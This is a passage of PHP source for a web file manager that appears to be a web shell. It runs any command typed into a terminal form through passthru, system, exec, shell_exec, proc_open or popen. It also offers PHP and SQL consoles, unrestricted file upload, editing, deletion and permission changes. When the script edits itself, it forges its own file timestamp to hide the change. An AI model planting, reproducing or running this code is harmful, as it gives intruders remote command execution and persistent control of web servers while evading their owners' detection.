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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg_ntimes)?'':'<tr><td class="row2" colspan="2">'.$msg_ntimes.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>

</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_ntimes .= __('File updated');
		else $msg_ntimes .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg_ntimes .= (__('File updated')); 
		else $msg_ntimes .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg_ntimes .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php

} else {
                       
//quanxian gai bian hou xu yao xi tong chongqi
                    
    $msg_ntimes = '';

    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {

        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);

            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg_ntimes .= __('Error occurred');
                      
            } else {

		     		     $msg_ntimes .= __('Files uploaded').': '.$_FILES['upload']['name'];

		     	}
                       
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_khumfail(($path . $_REQUEST['delete']), true)) {
            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	$msg_ntimes .= __('Deleted').' '.$_REQUEST['delete'];
		     }
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
                      
            $msg_ntimes .= __('Error occurred');
        } else {
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['dirname'];
		     }

    } elseif(!empty($_POST['search_recursive'])) {
		     ini_set('max_execution_time', '0');
		     $search_data =  find_text_in_khumfail($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		     if(!empty($search_data)) {
                       
		     	$msg_ntimes .= __('Found in khumfail').' ('.count($search_data).'):<br>';

		     	foreach ($search_data as $filename) {
                    
		     		     $msg_ntimes .= '<a href="'.thangweb(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

		     	}
		     } else {
		     	$msg_ntimes .= __('Nothing founded');

		     }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {

        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	fclose($fp);
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['filename'];
		     }

    } elseif (isset($_GET['zip'])) {
		     $source = base64_decode($_GET['zip']);
		     $destination = basename($source).'.zip';
                      
		     set_time_limit(0);

		     $phar = new PharData($destination);

		     $phar->buildFromDirectory($source);
                      
		     if (is_file($destination))
                     
		     $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     '.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		     .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

		     else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['gz'])) {

		     $source = base64_decode($_GET['gz']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
		     if (is_file($archive)) unlink($archive);

		     if (is_file($archive.'.gz')) unlink($archive.'.gz');
                       
		     clearstatcache();

		     set_time_limit(0);

		     //die();
		     $phar = new PharData($destination);
		     $phar->buildFromDirectory($source);

		     $phar->compress(Phar::GZ,'.tar.gz');
		     unset($phar);
		     if (is_file($archive)) {

		     	if (is_file($archive.'.gz')) {
		     		     unlink($archive); 
		     		     $destination .= '.gz';

		     	}


                       
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
                       
		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['decompress'])) {

		     // $source = base64_decode($_GET['decompress']);
		     // $destination = basename($source);
                     
		     // $ext = end(explode(".", $destination));

		     // if ($ext=='zip' OR $ext=='gz') {

		     	// $phar = new PharData($source);

		     	// $phar->decompress();
                     
		     	// $base_file = str_replace('.'.$ext,'',$destination);

		     	// $ext = end(explode(".", $base_file));

		     	// if ($ext=='tar'){
		     		     // $phar = new PharData($base_file);
                    
		     		     // $phar->extractTo(dir($source));

		     	// }

		     // } 

		     // $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		     $source = base64_decode($_GET['gzfile']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
                     
		     if (is_file($archive)) unlink($archive);
		     if (is_file($archive.'.gz')) unlink($archive.'.gz');

		     set_time_limit(0);
		     //echo $destination;
                       
		     $ext_arr = explode('.',basename($source));
		     if (isset($ext_arr[1])) {
                     
		     	unset($ext_arr[0]);

		     	$ext=implode('.',$ext_arr);
		     } 

		     $phar = new PharData($destination);

		     $phar->addFile($source);

		     $phar->compress(Phar::GZ,$ext.'.tar.gz');

		     unset($phar);

		     if (is_file($archive)) {
		     	if (is_file($archive.'.gz')) {

		     		     unlink($archive); 

		     		     $destination .= '.gz';

		     	}
                    
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	}
                      
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg_ntimes)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg_ntimes?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
<?php
session_start();

// Allowed functions
$execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen'];

// Check if at least one is available
$canExecute = false;
foreach ($execFunctions as $func) {
    if (function_exists($func)) {
        $canExecute = true;
        break;
    }
}

// Initialize cwd
if (!isset($_SESSION['cwd'])) {
    $_SESSION['cwd'] = getcwd();
}

// Change directory if POSTed
if (isset($_POST['path']) && is_dir($_POST['path'])) {
    $_SESSION['cwd'] = realpath($_POST['path']);
}

$cwd = $_SESSION['cwd'];
$output = "";

// Process terminal input
if (isset($_POST['terminal'])) {
    $cmdInput = trim($_POST['terminal-text']);

    // Handle cd
    if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
        $dir = trim($matches[1]);

        if ($dir === '' || $dir === '~') {
            $dir = $_SERVER['DOCUMENT_ROOT'] ?? $cwd;
        } elseif ($dir[0] !== '/' && $dir[0] !== '\\') {
            $dir = $cwd . DIRECTORY_SEPARATOR . $dir;
        }

        $realDir = realpath($dir);

        if ($realDir && is_dir($realDir)) {
            $_SESSION['cwd'] = $realDir;
            $cwd = $realDir;
            $output = "Changed directory to " . htmlspecialchars($realDir);
        } else {
            $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
        }

    } else {

        if ($canExecute) {

            // Change working directory
            chdir($cwd);

            // Allow safe characters; do NOT break arguments
            $cmd = $cmdInput . " 2>&1";

            // PRIORITY: passthru first
            if (function_exists('passthru')) {
                ob_start();
                passthru($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('system')) {
                ob_start();
                system($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('exec')) {
                exec($cmd, $out);
                $output = implode("\n", $out);

            } elseif (function_exists('shell_exec')) {
                $output = shell_exec($cmd);

            } elseif (function_exists('proc_open')) {
                $pipes = [];
                $process = proc_open($cmd, [
                    0 => ["pipe", "r"],
                    1 => ["pipe", "w"],
                    2 => ["pipe", "w"]
                ], $pipes, $cwd);

                if (is_resource($process)) {
                    fclose($pipes[0]);
                    $output = stream_get_contents($pipes[1]);
                    fclose($pipes[1]);
                    $output .= stream_get_contents($pipes[2]);
                    fclose($pipes[2]);
                    proc_close($process);
                } else {
                    $output = "Failed to execute command via proc_open.";
                }

            } elseif (function_exists('popen')) {
                $handle = popen($cmd, 'r');
                if ($handle) {
                    $output = stream_get_contents($handle);
                    pclose($handle);
                } else {
                    $output = "Failed to execute command via popen.";
                }

            } else {
                $output = "Error: No command execution functions available.";
            }

        } else {
            $output = "Command execution functions are disabled on this server.";
        }
    }
}

if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']);
if (!isset($path)) $path = $cwd;
?>

<strong>root@Sid-Gifari:<?php echo htmlspecialchars($cwd); ?>$</strong><br>
<pre><?php echo htmlspecialchars($output); ?></pre>

<form method="post" action="<?php echo $url_inc; ?>">
    <input type="text" name="terminal-text" size="30" placeholder="Cmd" />
    <input type="hidden" name="path" value="<?php echo htmlspecialchars($path); ?>" />
    <input type="submit" name="terminal" value="Execute" />
</form>


</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		     <td>

		     <?php if (!empty($fm_config['upload_file'])) { ?>
                      
		     	<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
                    
		     	<input type="hidden" name="path" value="<?=$path?>" />

		     	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

		     	<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
                       
		     	<input type="submit" name="test" value="<?=__('Upload')?>" />

		     	</form>

		     <?php } ?>
                    
		     </td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
